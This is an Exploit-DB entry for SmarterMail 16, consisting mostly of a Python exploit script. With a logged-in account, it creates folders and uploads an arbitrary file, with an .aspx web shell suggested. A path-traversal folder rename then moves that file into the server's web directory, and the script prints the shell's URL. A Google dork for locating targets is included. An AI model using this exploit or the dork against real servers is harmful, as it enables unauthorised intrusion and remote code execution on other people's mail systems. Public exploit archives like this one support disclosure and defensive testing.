Exploit-DB #48580
Description: SmarterMail 16 - Arbitrary File Upload
Type: webapps
Platform: multiple
Date: 2020-06-12
Author: vvhack.org

Exploit:
# Exploit Title: SmarterMail 16 - Arbitrary File Upload
# Google Dork: inurl:/interface/root
# Date: 2020-06-10
# Exploit Author: vvhack.org
# Vendor Homepage: https://www.smartertools.com
# Software Link: https://www.smartertools.com
# Version: 16.x
# Tested on: Windows
# CVE : N/A

#!/usr/bin/python3
import requests, json, argparse
from requests_toolbelt.multipart.encoder import MultipartEncoder

#example usage:
#Authenticated
#python3 exp.py -w http://mail.site.com/ -f ast.aspx
#Change username & password !

class Tak:
 
  def __init__(self):
     self.file_upload()
     self.shell_upload()

  def loginned(self):
    self.urls = results.wbsn + '/api/v1/auth/authenticate-user'
    self.myobja = {"username":"mail@mail.com","password":"password","language":"en"}
    self.xx = requests.post(self.urls, data = self.myobja)
    self.data = json.loads(self.xx.text)
    self.das = self.data['accessToken']
    self.headers = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0', 'Authorization': "Bearer " + self.das}

  def loginned_folder(self):
    self.loginned()
    self.url = results.wbsn + '/api/v1/mail/messages'
    myobj = {"folder":"drafts","ownerEmailAddress":"","sortType":5,"sortAscending":"false","query":"","skip":0,"take":151,"selectedIds":[]}
    x = requests.post(self.url, data = myobj, headers=self.headers)
    print(x.text)

  def create_folder(self):
    self.loginned()
    self.urlz = results.wbsn + '/api/v1/filestorage/folder-put'
    myobj = {"folder": "testos1", "parentFolder":"Root Folder\\"}
    myobj2= {"folder": "testos2", "parentFolder":"Root Folder\\"}
    x = requests.post(self.urlz, data = myobj, headers=self.headers)
    x = requests.post(self.urlz, data = myobj2, headers=self.headers)
    print(x.text)

  def file_upload(self):
      self.create_folder()
      '''
      #resumableChunkNumber=1&
      #resumableChunkSize=2097152&resumableCurrentChunkSize=955319&resumableTotalSize=955319&
      #resumableType=image%2Fjpeg&resumableIdentifier=[PII_REDACTED]97jpg&resumableFilename=112097.jpg&
      #resumableRelativePath=112097.jpg&resumableTotalChunks=1", headers={'User-Agent': "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0",
      #'Accept-Language': "en-US,en;q=0.5", 'Accept-Encoding': "gzip, deflate",
      #print(self.xz)
      #print(self.xz.headers)
      '''
      size = os.path.getsize(results.wbsf)
      print(size)
      replace_file = results.wbsf.replace(".","")
      with open(results.wbsf, "rb") as outf:
          contents = outf.read()
          multipart_data = MultipartEncoder(
          fields={
          "context": "file-storage",
          #"contextData": '{"folder":"Root Folder\\ " + str(results.wbsd) + "\\"}',
          "contextData": '{"folder":"Root Folder\\\\testos1\\\\"}',
          "resumableChunkNumber": "1",
          "resumableChunkSize": "2097152",
          "resumableCurrentChunkSize": str(size),
          "resumableTotalSize": str(size),
          "resumableType": "image/jpeg",
          #"resumableIdentifier": "[PII_REDACTED]97jpg",
          "resumableIdentifier": str(size) + "-" + str(replace_file),
          "resumableFilename": results.wbsf,
          "resumableRelativePath": results.wbsf,
          "resumableTotalChunks": "1",
          "file": (
              'blob',#112097.jpg',
               #open(file, "rb"),
               contents,
               #file,
               #"image/jpeg"
               "application/octet-stream"
               #'text/plain'
               )

        }
)
      '''    
      http_proxy = "http://127.0.0.1:8080"
      proxyDict = {
              "http"  : http_proxy,
            }
      '''      
      # if you want to activate intercept then add with that argument, this parameter is necessary requiresfunc(if you want to activate it, please remove it from the comment line.)  >> proxies=proxyDict
      self.dre = requests.post(url=results.wbsn + "/api/upload",headers={"Content-Type": multipart_data.content_type, 
      'Authorization': "Bearer " + self.das, 
      'User-Agent': "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"},data=multipart_data) 

  def shell_upload(self):

   '''
   http_proxy = "http://127.0.0.1:8080"
   proxyDict = {
              "http"  : http_proxy,
   }
   '''

   json_data = {
           "folder": "Root Folder\\testos1\\",
           "newFolderName": "\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\program files (x86)\\SmarterTools\\SmarterMail\\MRS\\testos1\\",
           "parentFolder": "",
           "newParentFolder": "Root Folder\\testos2"
   }
   #r = requests.post('http://mail.site.com/api/v1/filestorage/folder-patch', json=json_data, headers=self.headers, proxies=proxyDict)
   r = requests.post(results.wbsn+'/api/v1/filestorage/folder-patch', json=json_data, headers=self.headers)
   print(results.wbsn + "/testos1/" + results.wbsf) 

if __name__ == '__main__':

   parser = argparse.ArgumentParser()
   parser.add_argument('-f', action='store', dest='wbsf',
                   help='Filename')
   parser.add_argument('-w', action='store', dest='wbsn',
                   help='Target')
   parser.add_argument('--version', action='version', version='SmartMail Knock Knock')
   results = parser.parse_args()

   tako = Tak()
   tako